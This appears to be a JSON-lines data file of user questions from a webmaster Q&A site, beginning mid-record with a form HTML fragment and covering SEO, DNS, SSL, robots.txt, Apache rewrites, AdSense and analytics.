value=\"Home\"> <\/li> <li id=\"field_1_5\" class=\"gfield gform_hidden\"> <input name=\"input_5\" id=\"input_1_5\" type=\"hidden\" class=\"gform_hidden\" value=\"http:\/\/example.com\/\"> <\/li> <\/ul> <\/div> <div class=\"gform_footer top_label\"> <input type=\"submit\" id=\"gform_submit_button_1\" class=\"button gform_button\" value=\"Submit\" tabindex=\"3\" onclick=\"if (window[ & quot; gf_submitting_1 & quot; ]){return false; } if (!jQuery( & quot; #gform_1 & quot; )[0].checkValidity || jQuery( & quot; #gform_1 & quot; )[0].checkValidity()){window[ & quot; gf_submitting_1 & quot; ] = true; }\"> <input type=\"hidden\" class=\"gform_hidden\" name=\"is_submit_1\" value=\"1\"> <input type=\"hidden\" class=\"gform_hidden\" name=\"gform_submit\" value=\"1\"> <input type=\"hidden\" class=\"gform_hidden\" name=\"gform_unique_id\" value=\"\"> <input type=\"hidden\" class=\"gform_hidden\" name=\"state_1\" value=\"WyJbXSIsImYzNmQxM=\"> <input type=\"hidden\" class=\"gform_hidden\" name=\"gform_target_page_number_1\" id=\"gform_target_page_number_1\" value=\"0\"> <input type=\"hidden\" class=\"gform_hidden\" name=\"gform_source_page_number_1\" id=\"gform_source_page_number_1\" value=\"1\"> <input type=\"hidden\" name=\"gform_field_values\" value=\"\"> <\/div> <\/form> jQuery(document).ready(function(){jQuery(document).trigger('gform_post_render', [1, 1]) });"}
{"id":"54719","title":"Meta tags with HTML special character codes?","text":"This question is regarding best practices on SEO development meta tag filling. A name written in the Latin or the Cyrillic alphabet has certain special characters, such as the ccedil `C`, for example. **When populating meta tags and other SEO assets in a page** , what should be used, the HTML character code (for the given example: `ç`), the actual character or another character that looks close (using a `C` for the given example)?"}
{"id":"7368","title":"Is it possible to target Amazon's affiliate program to the user's country?","text":"I have signed up for Amazon's affiliate program, to see how well it does. However, the program appears to be specific to each of Amazon's separate sites (Amazon.com, .co.uk, .ca etc). Around 50% of the traffic comes from the USA but there is a significant proportion from Canada and the UK too. Is there any system from Amazon to target products to the user's country? Or must I do this myself?"}
{"id":"44582","title":"Assemble static site from templates? (don't want to reinvent the wheel)","text":"I have a site that is 100% static content (no php, just some javascript). There's several \"blocks\" like the header, menu, footer, etc. that are the same on each page. Rather than do a lot of copy\/pasting, I was thinking of some kind of template system where I could run a CLI command (in php, perl, python, shell, whatever) and have it replace all the block tags with the actual block text. I did see some answers in this question, but those seem oriented towards \"we provide the style and layout, you provide the text\". In my case, I have everything as far as layout, css, etc. - just want to do a glorified sed. Before I invent the wheel, I was wondering if there was a tool out there already."}
{"id":"7364","title":"what do mean \"renewal domain\" for free service?","text":"sorry for bad english. if renewing cz.cc free domain is free then what do mean renewing domain after two years? (why we should renew for free service when it is free?)"}
{"id":"7367","title":"Getting SSL certificate for a sub-domain","text":"Our company owns a domain say **www.mycompany.com**. I understand that it is trivial to get an SSL certificate for above domain since we do have a website running on that address. We want a certificate for a subdomain say **sub.mycompany.com**. We intend to use this sub-domain in our organisation network only and have no plans to publish a public website on this subdomain. So the question is \"Is it necessary to have a DNS entry for subdomain, resolving to our IP address and host some page on that address?\" I hope proving that main domain is in our control, we can get an SSL certificate for sub domain also. Is it possible?"}
{"id":"12316","title":"No Page Rank after switching domains","text":"Our website hasn't had a Page Rank since it started a year ago. It has been 0 ever since we changed the to domain to http:\/\/www.accessiblehomehealthcare.com from www.accessiblehhc.com so that we could put some keywords in. We had a page rank of 1 at least. I know that it can be a variety of things but we had a page rank before and would like to get it back and even higher. Our site is Wordpress 2.7. Any hints or suggestions, please let me know. Thanks!"}
{"id":"18409","title":"Adding text shadow to your whole website","text":"I want to add shadow to all the text into a website. The text is in different elements of the website. Now I was thinking of 2 things. 1) add a class to all the containers with text, and just give the class the text-shadow style. This will give me a lot of work tho, adding a class the all the elements in the website. And what will this do with the DOM? 2) Add styling to all the elements: h1,h2,h3,li,p,span{text-shadow:1px 1px 1px rgba(51, 69, 78, 0.5);} Which one of the 2 is better to use, or is there a better, more optimized way to do this?"}
{"id":"3","title":"What are the differences between Firefox's Javascript engine and Chrome's V8?","text":"I've noticed that Chrome and Firefox take different amounts of time to render certain things. In general, Chrome has been faster. What should I know about both of them (and IE8\/9, too, I guess) when constructing a Javascript\/jQuery app?"}
{"id":"54529","title":"What kind of website can be run on AWS for 10, 100, 1 thousand, 10 thousand, 100 thousand, 1 million dollars per month?","text":"The AWS pricing is quite complicated. I am aware that every website is different and require different types of AWS services. But is there a simple way to say that for 10$ per month you can run website on AWS, that has X unique users, Y data transfer, Z storage etc. e.g. `simpleblog.com`, for 100$ you can run website with ... something like ...?"}
{"id":"12311","title":"Word docs opened\/downloaded via IE cannot determine correct encoding when they contain embedd images","text":"This problem only rears its ugly head when opening\/receiving using a version of Internet Explorer. Firefox, Safari and Chrome all work perfectly. When a Word doc that contains embedded graphics (like screenshots) is opened in IE, a dialog box asking to choose the correct encoding appears and NONE of the available options corrects the text in the document. The images display fine, but all text is garbled beyond recognition. Word docs that do not contain images come through fine. If the file is specifically downloaded then opened from the desktop, the problem still exists. Any ideas how to get these docs to behave in IE? I have been searching to find any similar issues and resolutions but have come up empty. I would think there were header issues except it works fine in other browsers, and other docs without images also work fine."}
{"id":"18400","title":"Duplicate Content and News - How do SE's treat them?","text":"I am planning to start a news website wherein I will be syndicating news from News Distribution Services and Press Releases. What most Webmasters in this field do is to directly copy (or atleast 95% of) the content provided by the news distribution service or press release and publish them. So, eventually, there are many news sites that are going to have the same content (or with a very few changes) and it happens that some of these sites have a PR of 6 or even 7 or 8. Obviously, they rank higher. In my website, I will have a news section which will essentially contain the content from the PR or NDS but I will also have more sections wherein I will be posting High Quality and Original articles. How would Google and other Search Engines treat my website for duplicate content. P.S. I definitely wan't the news section because I wan't my readers to get access to news as well. Can spinning news articles be a good Idea? What I wan't to do is grab the news source and write it in my own words and then publish it. Please post suggestions."}
{"id":"11935","title":"Better to ignore competitor who looks like a copycat, or send a notice?","text":"My new SAAS product is a month or two from launch, and I've had a temporary (trademark approved) site up for a long time, and announced it publicly at a conference in January to potential customers & collaborators). A competitor just popped up with a suspiciously similarly constructed product, but without my background in the content area. A content provider on his site is well- known to me, and I had offered to speak on the subject of my product at his seminars. I foolishly wrote the content provider, not realizing he was more than a contributor--he was THE expert on the site. Within days I saw the competitor's site shift to copy my own product position even further. I've taken down the temporary site and am focusing on getting my far better product out. My concern: he could potentially accuse ME of copying him, since he's already launched (an incomplete product, but his game was clearly to beat me out the door.) My choices: 1. Send a note staking out my territory to preempt him and make him think twice about copying me further when I launch (the years I've spent in development, the public announcement in January. 2. Just ignore him and move on. Thanks--I saw a similar question so thought this might be appropriate here."}
{"id":"18403","title":"Magento project management - source control","text":"Need some advice on project management with Magento. I have been putting my whole project under source control but its becoming a nightmare to manage. I am now thinking of installing a base magento on local dev and live and then just putting my local code directory, design and theme directory under source control (svn in my case). Obviously this has drawbacks also. Can some more experienced developers offer some advice on how they manage their code on magento projects between local, dev and live sites."}
{"id":"54523","title":"Why does flush DNS often fail to work?","text":"C:\\Windows\\system32>ipconfig \/flushdns Windows IP Configuration Successfully flushed the DNS Resolver Cache. C:\\Windows\\system32>ping beautyadmired.com Pinging beautyadmired.com [xxx.45.62.2] with 32 bytes of data: Reply from xxx.45.62.2: bytes=32 time=253ms TTL=49 Reply from xxx.45.62.2: bytes=32 time=249ms TTL=49 Reply from xxx.45.62.2: bytes=32 time=242ms TTL=49 Reply from xxx.45.62.2: bytes=32 time=258ms TTL=49 Ping statistics for xxx.45.62.2: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 242ms, Maximum = 258ms, Average = 250ms My site should point to `xx.73.42.27`. I change the name server. It's been 3 hours. It still points to `xxx.45.62.2`. Actually what happen after we change name server anyway? Wait for what? I already flush DNS. Why it still points to the wrong IP? Also most other people that do not have the DNS cache also still go to the wrong IP."}
{"id":"18405","title":"Should I measure visits or unique events?","text":"I have set up custom variables a couple of months ago. Basically it tracks categories of pages, much like the example in the docs. Now I want to get a list of the most popular categories. I've checked the dashboard, and the data is being reported fine. However, I noticed that on the dashboard, the amounts listed in the column 'visits' don't match the amounts I get when requesting the Analytics API. Instead, these numbers seem to correspond with the number of unique events. Maybe the dashboard uses the wrong parameter here, it clearly says the `visits` column represents: > The number of visits to your site with one of more of these custom variables > specified. Or maybe I'm just interpreting this the wrong way. The pages that track these custom variables call two actions: `_trackPageview` and `_trackPageLoadTime`. All other pages call these actions as well, without the custom variables. Below is sample output from the Data Feed Query Explorer for my categories:  I want to know what's best to use in my API calls; the `ga:visits` metric is substantially lower than the number of unique events. How do I need to interpret this table exactly?"}
{"id":"54520","title":"Changing DNS of website to point to another website","text":"I have two website `abc.com` and `newabc.com`. Both are on different web servers. I want to shut down `abc.com` and make sure that I want to send its requests to `newabc.com`. I am shutting down the servers of `abc.com`. I came to know that this can be done by doing some changes at the DNS of `abc.com`. Can I point DNS of `abc.com` to `newabc.com`. Can someone tell how doing that?"}
{"id":"15630","title":"What to use to make voice chat (and some more) on a web?","text":"I am trying to make available on my website a voice chat for a small group of people that allows some other means to interact such as text messaging, photo sharing, file sharing, simple drawing and silly games. In other words, something similar to older MSN Messenger, but on the web. Any ideas on what to use? To clarify, I am looking for suggestions on languages and libraries to use. I want to be able to fully customize it as much as possible because I might want to add other (somewhat interesting) functions later. Low-level programming is fine if required, but platform dependency isn't that much preferred."}
{"id":"15631","title":"Facebook connect vs. OpenID","text":"I just started working on a new project that has a general login feature. One suggestion in a meeting was to look into Facebook Connect or OpenID as an alternative. I'm curious if there's one that has less of a learning curve, or if they can both be used on the same site. Also, when you use either, do you have them initially create the account and just get a verify True\/False back that you then use to set up a local user account? I what about forgotten passwords? I'm kind of curious as to best practices for integrated this type of login with a \"traditional\" one where you store the user info yourself. Thanks, D"}
{"id":"15632","title":"Joomla + phoca SEO issues","text":"I'm encoutering a problem in one of my sites that most recent keyword of my site is \"jpg\" in Google Webmaster tools. I'm using Joomla 1.5.9 and phoca for gallery. How to prevent image extenstions to be indexed by robots? BTW: respective gallery folders are blocked in robots"}
{"id":"30172","title":"Tell apache to point to a subfolder as default starting point for public","text":"What would be the different methods of telling Apache to serve up `httpdocs\/public` instead of `httpdocs` as the default starting point? I want to be able to have my `includes` and `logs` directories behind the publicly accessible folder. I know that htaccess is possible, but I've seen a file before that looked something like `httpdocs => public` ... I could be off, but it was some kind of pointer. [httpdocs] -[includes] -[logs] -[public] <-- what's served up to the public --index.php"}
{"id":"15635","title":"Will PHP Meta hurt SEO?","text":"If I use PHP to place my meta tags such as keywords and descriptions will that hurt SEO? Will the bots not be able to crawl through the keywords and descriptions?"}
{"id":"9005","title":"How to support email subscriptions to many rss feeds","text":"I am interested in having the option to be able to subscribe to any of my RSS feeds by email, without having to manage any of the email lists. Are there any email delivery services that allow easy subscription to arbitrary feeds? MailChimp's api doesn't allow list creation. The closest I can come up with is linking people to a google alert: http:\/\/www.google.com\/alerts?q=site:mysite.com\/category\/food http:\/\/www.google.com\/alerts?q=site:mysite.com\/category\/drinks"}
{"id":"10229","title":"Is it ok for a canonical link to point to itself?","text":"I've got the canonical: <link href=\"http:\/\/www.Site.com\/Blog\/how-to-know-when-this\" rel=\"canonical\" \/> Is it ok if this is on the page it is pointing to? Also I'm putting it on all these pages: http:\/\/www.Site.com\/Blog\/how-to-know-when-this http:\/\/www.Site.com\/Blog\/how-to-know-when-this\/ http:\/\/www.Site.com\/Blog.aspx?ID=1 http:\/\/www.Site.com\/Blog\/how-to-know-when-this\/?q= Is this correct useage?"}
{"id":"35834","title":"Rewrite in Mediawiki, remove index.php, .htaccess","text":"I've just installed Mediawiki on Apache and I want the URL should be: localhost\/Main_Page\/ localhost\/Special:Recent_Changes ... instead of: localhost\/index.php\/Main_Page\/ localhost\/index.php\/Special:Recent_Changes I've tried many times and in many ways but it still doesn't work. Any suggest for a \"exactly\" what to do, step by step. Mediawiki docs didn't talk about _.htaccess_. It had only Nginx and lighttpd."}
{"id":"37934","title":"Is content in option tags indexed?","text":"Is data inside an `<option>` tag indexed? For example, would the following `option` tag allow \"Volvo\", \"Saab\", \"Opel\" and \"Audi\" to be indexed by a crawler? <select> <option value=\"volvo\">Volvo<\/option> <option value=\"saab\">Saab<\/option> <option value=\"opel\">Opel<\/option> <option value=\"audi\">Audi<\/option> <\/select> Will search engines put any weight on data in an `option` form element?"}
{"id":"8857","title":"Redirect from SSL HTTPS to HTTP (NO SSL)","text":"Many of my visitors have bookmarked my site already with `https:\/\/mydomain.com`. Under the bad advice of a programmer I have put my whole site (Joomla) using SSL. I do not sell anything or provide any member services. I asked him many times if it would slow my site down - he said it wouldn't. I knew it did, I've researched on this site and realized it does slow the site down because of no cache of the pages. Understood. Please can someone tell me how to get away from it now. I'm not sure how to approach this, should I add something to my htaccess or my main index.php file? I've looked all over the net, there is much advice for adding redirectives for going from HTTP to HTTPS, but very few answers regarding the opposite of going from HTTPS to HTTP."}
{"id":"10223","title":"How to get visits statistics from mediawiki page, without asking this from the admin?","text":"I want to log \/ track unique page visits to a page in a mediawiki wiki, but I can't ask the this mediawiki admin to give me the data. If this was a page on my website I would just use statcounter.com. But it is a mediawiki wikipage that I contribute to and want to get the statistics."}
{"id":"24033","title":"How do I make SEO friendly URLs?","text":"My url is: `website.com\/profile\/?id=24` I want it to be: `website.com\/profile\/kevinlee` The `?id=24` will be replaced with the username of the `id=24` in the database How do I convert it to that?"}
{"id":"49841","title":"Does link with rel=\"me\" attribute provide any link juice advantage?","text":"On my Squidoo profile page I found my websites's link is in a rel=\"me\" attribute. Does this attribute provide any link juice advantage to my website?"}
{"id":"61663","title":"How long is the penalty for Duplicate ecommerce content after it has been ressurected","text":"I am fixing all of the duplicate content on my ecommerce site with all orignal descriptions etc. How long does it take google to start ranking it again? I used to have a good ranking that converted quite a few sales, in the last week i have had next to nothing. Also would the disclaimer i created under each product be considered duplicate content because it is on most of my product pages & is the same."}
{"id":"63344","title":"Canonical tag makes my site \"not indexable\" according to an SEO analyst plugin","text":"SEO Doctor add on says website is not indexable because this page is set to (this is my tag): <link rel=\"canonical\" href=\"http:\/\/example.com\" \/> I have to change meta tags robots `noindex` like that or what is the solution for this?"}
{"id":"21518","title":"Fastest open-source e-commerce featured CMS or web-framework?","text":"I have been researching about 20 different open-source e-commerce featured CMSs and web-frameworks, but there seem to be way more than just them available. Has anyone run some benchmarks against a good portion of CMSs and web- frameworks comparing speed with the following metrics? * Database requests * Page displays * Development time"}
{"id":"21519","title":"What's the advantage in purchasing new hosting purely for 301 redirections","text":"As a follow on from How do I adjust our \"default\" domain I am about to setup 301 redirections from a selection of TLD to our recently selected default domain. Currently ALL of our TLDs point to the same IP, a single host, and I had initially thought to setup the 301s on this hosting. In comments by @ThomasClayson in the above linked question, he suggests purchasing new hosting purely for the 301 redirects. What would be the advantage to us in purchasing new hosting purely for the 301 redirections? Why not redirect on the same host? (Or does this not work!?)"}
{"id":"37729","title":"phpBB - display a public message when the whole board is private","text":"In my installation all discussion forums\/boards are private and can only be seen after a user registers and admin approves their membership. This is working. When a user first comes to the main phpBB page and they're not logged in, they can see very little except for the login and registration functions. Now I'm trying to configure phpBB to display a Read Me posting that is available to general public before registration or login. The problem is that I'd have to create a whole \"public\" forum and it would likely contain only one topic thread called \"Read Me\". The users would have to click into the public forum and then click again to get into the Topic called \"Read Me\". Is it possible to have a Topic thread outside of a forum? If not, is there another, better, way to achieve this? I just want to display a message, maybe a few short paragraphs to the public, explaining the purpose of the Forum and that they must register and wait for approval in order to gain additional access. I'm not seeing anything like this in the ACP. Thank-you."}
{"id":"14415","title":"Title tag different from title appearing in Google?","text":"I'm just wondering how it is possible that IGN.com has this in its title tag: \"Video Games, Cheats, Walkthroughs, Game Trailers, Reviews, News, Previews & Videos at IGN\" while on Google its title is simply \"IGN\". How can one achieve such a thing? Does it use some special meta tag I can't see?"}
{"id":"37759","title":"My Website title changes by itself in Google","text":"> **Possible Duplicate:** > Title tag different from title appearing in Google? I am doing seo on my friends site and each page has its own metas it did change to new ones then somehow google is taking company name as the meta title I just googled this topic and last few days other people getting same problem , I had similar issue in the past on my own site that soon changed after changing the metas again any seo experts with same problem please help , there is no h1 heading on the company name or alt tag with that also."}
{"id":"63423","title":"Custom Title Not Used on SERP","text":"I am using Wordpress Yoast plugin, and this is not the first time that I used it. I have used it in four of my sites. Problem: Google is not using my custom defined title on my homepage. The website is **aboveinfranet[dot]com**. If I search \"above infranet solutions inc\"  If you open the site, it will show you the right title that I wanted to achieve."}
{"id":"35839","title":"Link form correct, or, punishable by search engines?","text":"I have the following dilemma with the links of a WordPress blog that I work with, I don't know if the way it creates the link to the images is ok or not so good. For example: * Article URL: `http:\/\/test.com\/prima-de-riesgo\/` * Image URL belonging to the article: `http:\/\/test.com\/prima-de-riesgo\/europa\/` So what I'm worried about is the repeating \" **prima-de-riesgo** \" part. Should I, or shouldn't I? ## UPDATE Wow, I can't believe that you took test.com as for the real domain, hehe! * Article URL: `http:\/\/queaprendemoshoy.com\/prima-de-riesgo-y-otras-graficas-interesantes-del-ano-2011-deuda-publica-pib-vs-empleo-y-precio-del-oro\/` * Image URL belonging to the article: `http:\/\/queaprendemoshoy.com\/prima-de-riesgo-y-otras-graficas-interesantes-del-ano-2011-deuda-publica-pib-vs-empleo-y-precio-del-oro\/deuda-publica-eurozona\/` So, as I mentioned... I'm worried that **prima-de-riesgo-y-otras-graficas- interesantes-del-ano-2011-deuda-publica-pib-vs-empleo-y-precio-del-oro** , the common factor for the article URL and image URL, can be considerate as duplicate content or anything that could be punishable by search engines"}
{"id":"37702","title":"I have done everything correct on my asp.net website, re: SEO; why aren't google backlinks showing?","text":"> **Possible Duplicate:** > Why are my backlinks not showing on google on this asp.net website with all > I’ve done? I recently implemented many SEO techniques for a company on their asp.net website; in 6 months, we jumped from a PR1 to a PR3. But I'm having issues with google backlinking. _**Here are some of the things I've done:_** 1. Not only did I set up their own Google+ page 6 months ago, I update it pretty much daily with links, pictures, etc., and I blog about it on my own personal Google+ page and post links, etc. ... 2. They have their own Twitter, Facebook, YouTube, and all are updated almost daily. 3. I've listed in as many quality, relevant directories as possible 6 months ago; I've avoided link farms. 4. The site is solid SEO-wise. Key-phrase rich URLs, schema.org & rich snippets. 5. No duplicate content ... www or non-www 301's, trailing slashes, etc. ... all taken care of. 6. Probably a ton of other things, but basically, the site is all set, SEO-wise. _**Here's what's confounding:_** When I do a **link:www.example.com** in Bing\/Yahoo, it shows **many backlinks**. When I do a **link:www.example.com** in **google, it shows up 0 links**. Or when I use a site-ranker like Web Site Rank Tool it's showing 0 backlinks from Google. Any suggestions would be appreciated!"}
{"id":"54787","title":"Is there an easier\/programmatic way to migrate HTML forms to an IIS7 server?","text":"Normal HTML pages work fine on an IIS7 server as do ASP pages. However when I try to add a HTML form and after clicking on the submit button, I receive the error: > The HTTP verb POST used to access path > '\/FormServer\/Mig\/_vti_bin\/shtml.dll\/admissions\/askseaaggie.htm' is not > allowed. Currently the only solution I know is to rebuild the entire form using ASP.NET markup."}
{"id":"67861","title":"AdSense on a website where login is needed","text":"Could I use AdSense in pages on a website where a login is needed? How would Google treat this? They can't see\/check it, other than stats\/traffic"}
{"id":"60784","title":"Google search results not showing my events rich snippets but does in test tool","text":"When I search on \"tennessee basketball tournaments\", I see my result, but my events dont show up. I believe I did everything right since this is an ajax page, but I tell Google that `_escaped_fragment_` tag to get the real results. You can see the result below in my screenshot that it is working, but real results dont show this. My page has `<meta name=\"fragment\" content=\"!\">` at the very top, and my sitemap uses the cananical URL with the escape fragment. Tennesse Basketball Tournaments **Structured Data Testing Tool**  **Search Results** "}
{"id":"51570","title":"Google stopped indexing my site. Is there a substitute for a XML sitemap?","text":"On my site is a page that hosts all my ad entries. Each URL and its content is different. Google was indexing all the different URLs until entry 4570. As I can see in GWT Google Index they also stopped crawling the new entries (70,000) at this moment. I would like to understand why Google stopped. I added a sitemap at about this time. The sitemap generator doesn't produce the single ad URLs. I had to change a page name and put a redirect in my _.htaccess_ file: Redirect permanent \/aerzte\/ http:\/\/www.example.de\/arzt\/ Google stopped about one week later to add new URLs. Can one of above be the reason? Is there a different solution - without sitemap - to get Google to index these URLs? P.S.: I can add URLs with Google Fetch and these URLs are immediately indexed."}
{"id":"60785","title":"How do I see the websites that users are coming from?","text":"I'm certain that at one point I was able to look at a breakdown of inbound URLs. Now I can't find it anywhere! It seems like this would be a common use of GA, but I couldn't find instructions for this either on this SE or elsewhere on the Internet. The closest I found was this question: “Can I track conversion rates from specific sources?” but one answer there only gets down to the level of seeing all direct traffic (I want names of sites) and the other answer recommends setting up custom goals, which I know I didn't do in the past. Can anyone point me in the right direction to see traffic by source website again?"}
{"id":"30710","title":"Tracking QR Code referrals","text":"We were using a third party website to provide QR codes and track them, the only problem was one week their server went down for some time and effectively killed the QR code off as it was a dead link. As far as I could see their tracking was a simple redirect via their website. I have set up a page with a javascript redirect to the destination URL with our Google analytics code in the page but was just wondering if anyone else has had any experience of setting up their own tracking\/redirect for QR codes this way or have you done it differently?"}
{"id":"30716","title":"Does sitewide html refactoring affect Google traffic?","text":"I have recently made a big structural change on my site and the very next day the number of Google impressions went from 75.000 to 3.000, with a proportional drop of traffic from searches. No URLs were changed, neither were the page titles or descriptions. Everything is exactly the same, but different looking, except that it does barely appear on Google anymore. Anybody has a clue to why?"}
{"id":"50202","title":"I have this message: This site doesn't have keywords meta tag!","text":"I have this message: > your site doesn't have keywords meta tag! What does that means?"}
{"id":"50207","title":"If a conflicting rel=\"nofollow dofollow\" is parsed (in that order) which takes precedence?","text":"If a conflicting `rel=\"nofollow dofollow\"` is parsed (in that order) which takes precedence? The background of this question is that I am encountering a situation where interestingly I can set a `dofollow` on a link I care about but that will always end up in the `rel=\"nofollow dofollow\"` form so I'm interested in the effect `rel=\"nofollow dofollow\"` would have."}
{"id":"60780","title":"Is it possible to see unique desktop visitors for the last X days in Google Analytics?","text":"In Universal Analytics, is it possible to see unique desktop visitors (not mobile) for the last X days? From what I see, I can only see desktop pageviews or new visitors, but the only place where Google Analytics displays unique visitors at all is the default starting report view. Everywhere else it's all about sessions or new visits. Any tips?"}
{"id":"7795","title":"Is there a program that can import CMS templates and manipulate them?","text":"I have a website done in Joomla. Is there any way that I could import that template into some program and change the design without coding? Something like Artisteer, only Artisteer can not import templates, it can only export them."}
{"id":"58776","title":"Google Adsense Policy Violation Paradox","text":"A client's website appears to have google adsense blocked, the code doesn't load instead it returns a 403 forbidden. We have been through the troubleshooter : https:\/\/support.google.com\/adsense\/troubleshooter\/ The highlights: Nobody at the client's office remembers ever seeing an email to say the site was banned. They were advised by a friend of a friend of a... (etc) who works for Google [who couldn't find the site on any blocked list] to just open another account, but the new account was auto-rejected. The trouble shooter suggests address PIN verification failure, but I cannot find anywhere in the adsense app that says that the address is not verified, in fact they have had payments in the past; but they have not used adsense for a while, an alternative ad provider has recently been a victim of the recession, so are wanting to relaunch. The ads are not in a any sort of nested frame, just on a basic test page with real content and minimal design so there is nothing to break. We have gradually stripped more and more off the page to try and get them to work. Both synchronous and asynchronous codes have the same issue. So the troubleshooter points us to the form : https:\/\/support.google.com\/adsense\/contact\/cant_see_ad?rd=1 and we get the response > According to our records, ad serving was disabled to your site because the > site was in violation of AdSense programme policies. So we check the policy appeal page and get this message > No sites have had ad serving disabled for your account. So we submit a review request, basically saying, help we're stuck and don't know what to do, and get an auto responder back > Unfortunately, we weren't able to match the Issue ID you provided with any > actions related to the publisher ID you provided. Because we don't have an issue ID to provide! What on earth do we do now?"}
{"id":"24352","title":"What is necessary to implement HTTPS?","text":"I'm an iPhone Developer and I've recently got into web development. At the moment I have two sites on the internet, and on one of them, I have a very simplistic CMS I've made. Firstly, do I need to implement HTTPS for this? If so, is there a good tutorial on getting started with this? What steps do I need to set this up?"}
{"id":"30825","title":"Is it illegal to distribute a program that downloads YouTube videos?","text":"I developed a plugin which allows people to download videos from YouTube. It's open-source if that matters. Is my plugin legal to distribute and use?"}
{"id":"24355","title":"Should I make pages on my website accessible by the admin only? How do I do it?","text":"In my website idea I have got a number of pages that should be accessible by the admin only. Is this a good practice? ( _amateur alert_ ) Also how do I protect these pages? I know about if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || ($_SERVER['PHP_AUTH_USER']!='admin') || ($_SERVER['PHP_AUTH_PW']!='password')) {\/\/ The username\/password weren't entered so send the authentication headers header('HTTP\/1.1 401 Unauthorized'); header('WWW-Authenticate: Basic realm=\"Admin\"'); Is this all I can do? Also how do I make sure that my website is secure? That is, since I am an amateur, I have this book on PHP and all I have in my PHP script are a few if- else statements and accordingly SQL queries? Is this how the php script would usually be like or have I just learnt the most basic thing and I'm making use of it more than I should?"}
{"id":"52693","title":"robots.txt: block all webpages except a few number of webpages?","text":"I have a few doubts regarding _robots.txt_. Say, my domain is `stackoverflow.com`, A) Will the code below do the following for all the crawlers? User-agent: * Disallow: \/ Allow: \/$ Allow: \/a\/$ Allow: \/a\/login.php Allow: \/a\/login.php?return=\/pligg\/ 1. Accepting `http:\/\/stackoverflow.com\/` will accept `http:\/\/stackoverflow.com` too? 2. Accepting `http:\/\/stackoverflow.com\/a\/` 3. Accepting `http:\/\/stackoverflow.com\/a\/login.php` 4. Accepting `http:\/\/stackoverflow.com\/a\/login.php?return=\/pligg\/` 5. Not accepting any other page on `http:\/\/stackoverflow.com` B) Which is right: _robots.txt_ or _robot.txt_?"}
{"id":"1038","title":"Cost of hosting on Google App Engine","text":"How does the cost of hosting on Google App Engine compare to hosting on more classical servers for a high traffic website? What's the answer for a website with 1000 page views per minute and how do the costs compare at 10000 page views per minute?"}
{"id":"68274","title":"As per SEO can we use 'CSS Ellipsis' to cut link title?","text":"Few anchor URL are very big in my page, So can I use 'CSS Ellipsis' to hide\/cut this? text-overflow: ellipsis; width: 200px; white-space: nowrap; overflow: hidden; **Ex Name:** Institute of Psychiatr..... (Institute of Psychiatry & Human Behavior)"}
{"id":"68275","title":"Subdomains vs. URL Path in shareable links","text":"I am building a web application for questions and answers. Each question\/answer page has all the required metadata for Facebook and Twitter, and we encourage users to share these pages. I have a dilemma regarding the shared link structure: ## Option 1 - subdomains Use a `questions.example.com` and `answers.example.com`, followed by an ID and optional text. The text is ignored by the request, which only takes the id into account. http:\/\/questions.example.com\/<question_id>\/<question_text> http:\/\/questions.example.com\/12345\/how-long-is-the-queue # Example http:\/\/q.example.com\/12345 # Example ## Option 2 - URL path This is the format used by stackoverflow.com and trello.com: http:\/\/example.com\/questions\/<question_id>\/<question_text> http:\/\/example.com\/questions12345\/how-long-is-the-queue # Example http:\/\/example.com\/q\/12345 # Example Server-wise, I can easily do both - I have a wildcard SSL certificate and Apache\/NGinx configuration is pretty straightforward. **Which option - subdomains or URL path - is preferred for shareble links?**"}
{"id":"52163","title":"Session based redirect acceptable for search engines?","text":"We have added a subsite (\/usa) to an established global website. This subfolder has been made region specific to USA using google webmaster tools. Now we want visitors from USA to be automatically redirected to this subfolder based on ip (standard 302 redirect). So far so good. Now, since the global homepage still remains \/, we want the redirected user to still be able to visit this page if they click on the 'global home' (\/) link. To be able to distinguish that this user should not again be redirected to \/usa, the only option I can think of is using session. So the question is, if this session based redirect is acceptable with the search engines. We are not going to be considering bots separately, so since the bots don't work well with cookies\/sessions US based bots will never reach the global home. How will this affect us? We definitely don't want to lose any of the existing value of the parent site because of this change."}
{"id":"68273","title":"Hidden text and links appearing just on click for SEO?","text":"I am working on a site that has neat clean\/minimalistic design\/layout. Menu items are \"hidden\" behind an icon, to see them, users need to click on that icon to get a javascript toggled overlay with the list of menu items. Then there are blocks with photos and users need to click on a small icon\/button on each of them to get a block of text shown for each of the photo. While I don't like such \"design\" myself, making me click lots of time just to read, I also think that for SEO purpose this model is really wrong. Is such model bad for SEO? Are there ways to keep design like this but have \"safe\" methods of displaying text content on click that will not hurt SEO?"}
{"id":"60102","title":"Facebook and different URLs for each sharer, could this affect the amount it is shared","text":"On my quiz site, I have been allowing people to share the quizzes with their friends using the Facebook sharer popup. At first I just let them share the quiz on it's own, but I decided it would be nice to have a query string that passes data so that the previous person's result would be visible to the sharer, like this: http:\/\/example.com\/oJXp7r?t=5QMCCQ Now, I want to give the content the best visibility possible on Facebook. I have a canonical URL set up in the header for each quiz, which I was hoping would allow Facebook to realised the preferred URL. I wanted to know if adding the query string to each sharer should affect the sharability or visibility of the content on Facebook. I know, for instance, that if more than one of your friends shares the same link, it will come up prominently and say '3 of your friends shared X content'.... if I have the query string will it stop this kind of thing from happening or will it realise it's the same URL?"}
{"id":"32827","title":"How does Google search for blog on my website?","text":"I just checked my site with WooRank and it says there is no blog on your website. How does Google search for blog on my website? Is it enough if I create a blogspot page, or I should make something more advanced?"}
{"id":"52696","title":"Where do hits on \"\/ga\/abpages\/...-original.html\" come from?","text":"I am currently developing a website as a side-project. There's really nothing on it, and for the past few months the site has been online I've been getting no traffic except for that which I generate myself. However, a week ago I got exactly 200 unique hits on the following url: \/ga\/abpages\/2013-08-30T02:52:53.776Z-original.html Looking around, I came across this discussion (and only that discussion). The given answer, that \"someone may have borrowed some of your site code\" seems highly unlikely, given that all three reports match the `\/ga\/abpages\/...-original.html` pattern, and two of them confirmed that they saw exactly 200 hits. Additionally, the `\/ga\/` path makes me think the path is directly related to Googles' own `ga.js`. Here is all the meta-data I can associate with the hits; all other demographics are not set. * Page Title: `original page` * Traffic: `Direct` * Language: `en-us` * Browser: `Chrome` * Resolution: `1280x1024` * OS: `Linux` None of the hits have any navigation data associate with them—they land, then bounce. **What are these phantom hits and where are they coming from?**"}
